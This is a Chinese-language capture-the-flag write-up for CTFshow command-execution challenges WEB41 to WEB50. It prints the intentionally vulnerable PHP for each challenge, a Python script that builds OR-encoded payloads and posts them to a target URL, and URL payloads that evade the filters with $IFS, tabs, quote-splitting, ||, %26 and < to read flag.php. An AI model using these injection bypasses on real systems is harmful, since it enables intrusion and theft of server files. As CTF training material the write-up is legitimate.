CTF_show Web 命令执行writeup P2 WEB41-WEB50

CTFSHOW

CTFSHOW web 命令执行WriteUP Part2

WEB41

过滤不严,命令执行

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date:   2020-09-05 20:31:22
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: [email protected]
# @link: https://ctf.show

*/

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

这次没有思路了,看羽师傅写的程序分析了一下,大体意思就是从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符 羽师傅先把或运算的结果放进txt,然后查表构造payload,用了两个脚本,这里给一个一体化的脚本,直接输入url可以直接获取执行结果

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import re
import urllib
from urllib import parse
import requests

contents = []

for i in range(256):
    for j in range(256):
        hex_i = '{:02x}'.format(i)
        hex_j = '{:02x}'.format(j)
        preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-', re.I)
        if preg.search(chr(int(hex_i, 16))) or preg.search(chr(int(hex_j, 16))):
            continue
        else:
            a = '%' + hex_i
            b = '%' + hex_j
            c = chr(int(a[1:], 16) | int(b[1:], 16))
            if 32 <= ord(c) <= 126:
                contents.append([c, a, b])


def make_payload(cmd):
    payload1 = ''
    payload2 = ''
    for i in cmd:
        for j in contents:
            if i == j[0]:
                payload1 += j[1]
                payload2 += j[2]
                break
    payload = '("' + payload1 + '"|"' + payload2 + '")'
    return payload


URL = input('url:')
payload = make_payload('system') + make_payload('cat flag.php')
response = requests.post(URL, data={'c': urllib.parse.unquote(payload)})
print(response.text)

WEB42

命令执行,需要严格的过滤

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

Linus Benedict Torvalds 在/dev/null走了一圈,然后回来了。

这道题会把回显丢弃,不过由于并不影响传参过程,直接传参?c=cp flag.php 1.txt然后访问url/1.txt就直接获取flag了,下面再介绍一些其他的方法,可以参考一下:

使用 " ; " " || " " & " " && " 分隔

/dev/null 2>&1 意思是将标准输出和标准错误都重定向到 /dev/null 即不回显 ; //分号 | //只执行后面那条命令 || //只执行前面那条命令 & //两条命令都会执行 && //两条命令都会执行

可构造playload: url/?c=tac flag.php|| url/?c=tac flag.php%26 注意,这里的&需要url编码

WEB43

命令执行,需要严格的过滤

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:51
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这道题相比WEB42仅仅多了一层过滤cat指令和分号,使用上一题我的cp传参仍然有效,同时也可以使用&& ||等等,这里不详细解释了

WEB44

命令执行,需要严格的过滤

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

不用多解释啥了,只是多了个过滤flag关键字而已,直接cp f* 1.txt 或者…tac f*等等等等等都可以的

WEB45

命令执行,需要严格的过滤

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:35:34
# @email: [email protected]
# @link: https://ctfer.com

*/
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

这次把空格也给过滤了,于是需要payload把空格替换掉,例如:

  1. 使用Tab键(%09)
  2. 使用换行符(%0a)
  3. 使用$IFS变量(Linux系统中的内部变量,表示分隔符)
  4. 使用<(重定向符)

构造payload:

1
?c=cp$IFS'f'*$IFS'1.txt'

访问1.txt即可获取flag。

或者也可以构造这样的payload抵消掉后面的>/dev/null一步完成:

1
2
3
?c=tac%09f*.php||
?c=tac$IFS$f*||
?c=tac$IFS$f*%26

*必须用%26而不能用&

WEB46

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:50:19
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

这道题过滤了空格,所有数字以及$和*,怎么办呢?

我们在shell做了个实验:

1
2
root@hcss-ecs-b1d9:~# c''at fl''ag
falg{1s_n0t_h3r3}

可以发现''会被忽略并输出原本的命令内容 '的网页编码为%27

我们可以根据这个原理构造payload:

1
?c=tac%09fl%27%27ag.php||

这里的数字会被转译为符号,不会被过滤,直接传参即可。

另外?可以代替*,?指代一个字符位。

WEB47

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:59:23
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

和上题基本一样,只是多过滤了一些输出文件的关键词,但是并不影响我们上题payload的思路

不过这道题也能让我们更加了解终端输出文件内容的一些新的方法,可以积累一下。

WEB48

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:06:20
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

同上题目,多过滤了一些可以利用的payload,但是单引号仍然可以使用,下面简单介绍一些这里一些命令的使用方法:

一些文件内容查看命令的利用方式

  1. more:分页显示文件内容

    1
    
    more flag.php  # 分页显示flag.php的内容
    
  2. less:与more类似,但功能更强大,可以向前翻页

    1
    
    less flag.php  # 交互式查看flag.php
    
  3. head:显示文件开头部分

    1
    2
    
    head flag.php  # 默认显示前10行
    head -n 5 flag.php  # 显示前5行
    
  4. tail:显示文件结尾部分

    1
    2
    
    tail flag.php  # 默认显示最后10行
    tail -n 3 flag.php  # 显示最后3行
    
  5. sort:对文件内容进行排序显示

    1
    
    sort flag.php  # 按字母顺序排序显示
    
  6. sed:流编辑器,可以对文本进行替换、删除等操作

    1
    2
    
    sed 's/password/PASSWORD/g' flag.php  # 替换所有password为PASSWORD并显示
    sed -n '5p' flag.php  # 只显示第5行
    
  7. cut:剪切文件的一部分内容

    1
    
    cut -d ":" -f 1 flag.php  # 以冒号为分隔符,显示第1个字段
    
  8. awk:强大的文本处理工具

    1
    2
    
    awk '{print $1}' flag.php  # 打印每行的第一个字段
    awk '/flag/{print}' flag.php  # 打印包含"flag"的行
    
  9. strings:提取文件中的可打印字符串

    1
    
    strings flag.php  # 显示flag.php中的所有可打印字符串
    
  10. od:八进制转储,可以查看二进制文件

    1
    2
    
    od -c flag.php  # 以字符形式显示文件内容
    od -x flag.php  # 以十六进制形式显示
    
  11. curl:网络传输工具

    1
    2
    
    curl http://example.com/flag.php  # 获取远程文件内容
    curl -o local.txt http://example.com/flag.php  # 下载到本地
    
  12. 反引号 `:命令替换,执行命令并返回结果

    1
    
    echo `cat flag.php`  # 执行cat flag.php并将结果传给echo
    
  13. tac命令(反向cat):

1
tac flag.php
  1. nl命令(带行号显示):
1
nl flag.php
  1. grep命令
1
2
grep '' flag.php  # 显示所有行
grep -v "不存在的字符串" flag.php  # 显示不包含指定字符串的行(即所有行)
  1. rev命令(先反转再反转回来):
1
rev flag.php|rev
  1. base64编码
1
2
base64 flag.php
# 然后在本地解码
  1. hexdump
1
hexdump -C flag.php
  1. find命令的-exec选项
1
find flag.php -exec cat {} \;
  1. while循环读取
1
while read line;do echo $line;done<flag.php

WEB49

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:22:43
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

这道题乍一看把咱们的%转义符号给干掉了,但是实际上并没有,传参到这里以后早就自动转为符号了,所以依然可以使用%xx转义来写payload,WEB46的payload在这里仍然可用。

WEB50

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:32:47
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

这里%09被过滤了,可以换成<这种不需要空格的词。

1
?c=tac<fl%27%27ag.php||

总结

在这一系列的CTF挑战中,我们探索了各种命令执行绕过技巧,从简单的过滤到复杂的多重过滤。以下是我们学到的主要技术:

  1. 空格绕过

    • 使用Tab键(%09)
    • 使用$IFS变量
    • 使用重定向符号<
    • 使用单引号’‘分隔
  2. 关键字绕过

    • 使用单引号分割关键字(如c’‘at)
    • 使用通配符(*和?)替代完整文件名
    • 使用替代命令(tac代替cat)
  3. 特殊字符绕过

    • URL编码(如%26代替&)
    • 使用||、&、&&等逻辑运算符分隔命令
  4. 输出重定向绕过

    • 使用||、&等运算符抵消>/dev/null的效果
  5. 文件内容查看的多种方法

    • 除了常见的cat,还有tac、nl、grep、rev等多种命令
    • 使用base64编码后在本地解码

这些技巧不仅适用于CTF比赛,也对理解Web安全中的命令注入漏洞防护有重要意义。通过学习这些绕过技术,我们能更好地理解如何构建安全的Web应用,防止命令注入攻击。

结语

命令执行漏洞是Web安全中的一个重要方面,通过这系列的CTF挑战,我们不仅学习了如何利用这些漏洞,更重要的是理解了如何防御它们。安全不是一成不变的,攻击者总是能找到新的绕过方法,因此防御者需要不断学习和更新知识。

Licensed under CC BY-NC-SA 4.0
最后更新于 Mar 17, 2025 16:37 CST
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计

萌ICP备20249008号 本站支持IPv6访问